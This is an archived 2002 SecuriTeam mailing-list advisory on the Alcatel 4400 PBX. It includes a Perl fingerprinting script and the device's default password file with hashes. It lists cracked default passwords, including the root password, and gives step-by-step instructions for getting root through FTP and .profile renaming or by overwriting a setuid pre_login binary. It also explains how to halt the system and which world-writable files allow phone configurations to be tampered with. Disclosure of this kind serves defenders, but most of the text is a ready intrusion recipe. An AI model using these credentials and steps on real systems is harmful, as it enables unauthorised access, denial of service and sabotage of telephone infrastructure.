

[EXPL] Alcatel 4400 PBX Hack

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-02/0127.html>

From: support@securiteam.com

Date: 02/24/02

From: support@securiteam.com

To: list@securiteam.com

Date: Sun, 24 Feb 2002 00:45:02 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Alcatel 4400 PBX Hack

SUMMARY

An audit of an Alcatel 4400 PBX has revealed very interesting security vulnerabilities, default passwords, easy gaining of root accesses, DoS, etc. If you have a well-configured one, some of them will not work.

DETAILS

Vulnerable systems:

Alcatel 4400 PBX running real-time

<<http://www.sun.com/software/chorusos/>> Chorus OS

Finding the IP address of Alcatel 4400:

Alcatel 4400 can be managed through serial port, or through LAN. In case of LAN, 4400 is listening on port 2533.

After some sniffing, we have seen that every TCP packets contains in data field the size of transmitted bytes. For example, to initiate a connection, first data packet (after SYN, SYN-ACK, ACK) contains `\x00\x01\x43\x43` is the data, where `\x00\x01` is the size - 1 char.

Every other data in first data packet will lead to a FIN-ACK reply, closing the connection.

Securiteam: [EXPL] Alcatel 4400 PBX Hack

To check for a running 4400 on your LAN, just scan your network for port 2533 open, then send \x00\x01\x43 and wait for \x00\x01

Use nmap to scan for port 2533 open, and this little script to send \x00\x01\x43 and wait for \x00\x01:

Exploit code:

```
----- alcatel.pl
#!/usr/bin/perl

# Checks for Alcatel 4400, sending TCP data on port 2533
# looking for specific reply
# irib@securitybugware.org

use Getopt::Std;
use IO::Socket;

print("ALCATEL 4400 checker.\n");

getopts('s:', \%args);
if(!defined($args{s})) { &usage; }

$data = "\x43";
$size = "\x00\x01";

    $serv = $args{s};
    $port = 2533;
    $buf = $size . $data;

if($socket = new IO::Socket::INET(PeerAddr => "$serv:$port", Timeout =>
1)){

print $socket "$buf";
read($socket,$chunk,2);

if($chunk & "\x00\x01"){
print "$serv may be an Alcatel 4400\n";
}else{
print "$serv doesn't look like an Alcatel 4400\n";
}
}else{
print "$serv is not an Alcatel 4400\n";
}

sub usage { die("\nUsage: $0 -s <server>\n\n"); }
-----
```

Connecting to Alcatel 4400:
Here is the default /etc/password file

Securiteam: [EXPL] Alcatel 4400 PBX Hack

```
root:Zn2PprVBQWI2:0:1:0000-Admin(0000):/:/chbin/sh
halt:xY3mcbaFNyp0k:0:1:0000-Admin(0000):/usr/halt:/chbin/sh
daemon*:1:1:0000-Admin(0000):/:/bin/sh
bin*:2:2:0000-Admin(0000):/bin:/bin/sh
sys*:3:3:0000-Admin(0000):/usr:/usr/bin/sh
adm*:4:4:0000-Admin(0000):/usr/adm:/usr/adm/bin/sh
sync::67:1:0000-Admin(0000):/:/bin/sync
install:yYV3uyxkFX8bc:101:1:Initial Login:/usr/install:/chbin/sh
kermit:zYBmh/woCrN6E:102:1:kermit:/usr/kermit:/chbin/sh
swinst::0:1:installation-account:/usr/swinst:/chbin/sh
mtch:aUi5.tLxc7zRc:2010:20:mtch:/DHS3bin/mtch:/chbin/ksh
mtcl:bUAp.LcUa4SIo:2011:20:mtcl:/DHS3bin/mtcl:/chbin/ksh
dhs3pms:cUlGakVr1CAkE:2013:20:dhs3pms:/DHS3bin/dhs3pms:/chbin/sh
adfexc:dUHplTswZu/Q:2015:20:adfexc:/DHS3bin/adfexc:/chbin/sh
pcmao::2012:20:pcmao:/DHS3bin/mao:/chbin/sh
nmcmao:gUvHzOAI7wETE:2016:20:nmcmao:/DHS3bin/nmcmao:/chbin/sh
client:hUIAPfM7t4Nbo:2017:20:client:/DHS3bin/client:/chbin/sh
dhs3mt:iULmen4O5ZC9.:2018:20:dhs3mt:/DHS3bin/dhs3mt:/chbin/sh
at4400:jU5vsXHRG1lQc:2019:1:at4400:/DHS3bin/at4400:/chbin/sh
mntple:kUKXnTJ4.VGrI:2000:1:Sun-network-installation:/DHS3bin/mntple:/chbin/sh
```

In addition, some decrypted passwords

```
llatsni (install)
tlah (halt)
dhs3pms (dhs3pms)
adfexc (adfexc)
client (client)
kermit (kermit)
dhs3mt (dhs3mt)
at4400 (at4400)
mtch (mtch)
mtcl (mtcl)
letacla (root)
```

Warning : most accounts have a .profile, executing particular commands. Do not log in without knowing what you are doing.

- ~halt/.profile shuts down 4400,
- ~swinst/.profile launch utility to install 4400 from scratch etc...
- mtcl doesn't run anything dangerous, so you can use this one if you need to telnet the box (it's the one given by Alcatel support if you need local management)

User adfexc is used by management client to retrieve version from server using FTP, it should have always the same password.

Gaining root access:

Fortunately, FTP is open :

nmap returns following

Securiteam: [EXPL] Alcatel 4400 PBX Hack

Port State Service

21/tcp open ftp
23/tcp open telnet
513/tcp open login
514/tcp open shell
2533/tcp open unknown
2535/tcp open unknown
2536/tcp open unknown
2539/tcp open unknown
2540/tcp open unknown
2554/tcp open unknown
2555/tcp open unknown

TCP Sequence Prediction: Class=64K rule
Difficulty=1 (Trivial joke)

To log in as root, just FTP as halt user, rename .profile, and telnet the box, note that your UID is 0 (as required for using the shutdown utility).

Halting the Alcatel 4400:

You do not need to log in with halt user, or to log in as root. Just log in, and execute /chetc/shutdown...

```
(1)a4400a> ls -l /chetc/shutdown
-r--sr--sr-x 1 root other 6120 Jul 6 1998 /chetc/shutdown
```

All "other" group members are allowed to shutdown the 4400 (see the setuid bit) "other" group members are: install kermit swinst mntple at4400 root halt sync

Bad file permissions:

Many directories containing sensible data are world writable, or group writable. There are two groups easily usable: tel (20) and other (1).

Other members: install kermit swinst mntple at4400 root halt sync tel members : mtcl, mtch, client, dhs3pms adfexc pcmalo dhs3mt

Here are some examples of writable directories or suid executables:

The easiest way for tel members to access root :

```
> ls -l /chbin/pre_login
```

```
42 -rwsrwxr-x 1 root tel 20096 Oct 9 1998 pre_login
```

Any tel group members can overwrite /chbin/pre_login, and execute commands as root.

Overwriteable configuration files:

/chetc/menus world writable => netinstall.def & netinstall.bat
overwriteable

/chetc/mng world writable => GEA_NET overwriteable

/chetc/lck world writable

/etc/bootptab ==> world writable (config bootp server)

/etc/mnttab ==> world writable

Securiteam: [EXPL] Alcatel 4400 PBX Hack

Miscellaneous world writable files & directories

/etc/misc world writable
/fs world writable
/mnt world writable
/usr2/ world writable
/usr/ctsrv world writable
/usr/preserve world writable
/usr/tmp world writable
/usr2/soft_install world writable

/usr3/mao contains database files (with phone configurations), all are at least group writable, allowing bad boys to scramble phones.

All users .profile are overwriteable.

/usr2/ adfexc afe dhs3mt dhs3pms mao nmcmao ==> group tel writable
/usr2/ PKG at4400 client mntple mtch mtcl ==> group other writable

As user directories are writable to other group members, .profile is overwriteable by other group members.

/usr4/account looks like accounting file directory, all are world overwriteable...

Solution:

Put your Alcatel 4400 behind a firewall, and allow only connection between your PBXes (if you have more than one, linked) and from your management station.

ADDITIONAL INFORMATION

The information has been provided by <mailto:irib@securitybugware.org>
Irib.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Securiteam: [EXPL] Alcatel 4400 PBX Hack

- *Previous message:* support@securiteam.com: "[NT] Netwin Webnews.exe (utoken)"
- *Messages sorted by:* [date] [thread] [subject] [author] [attachment]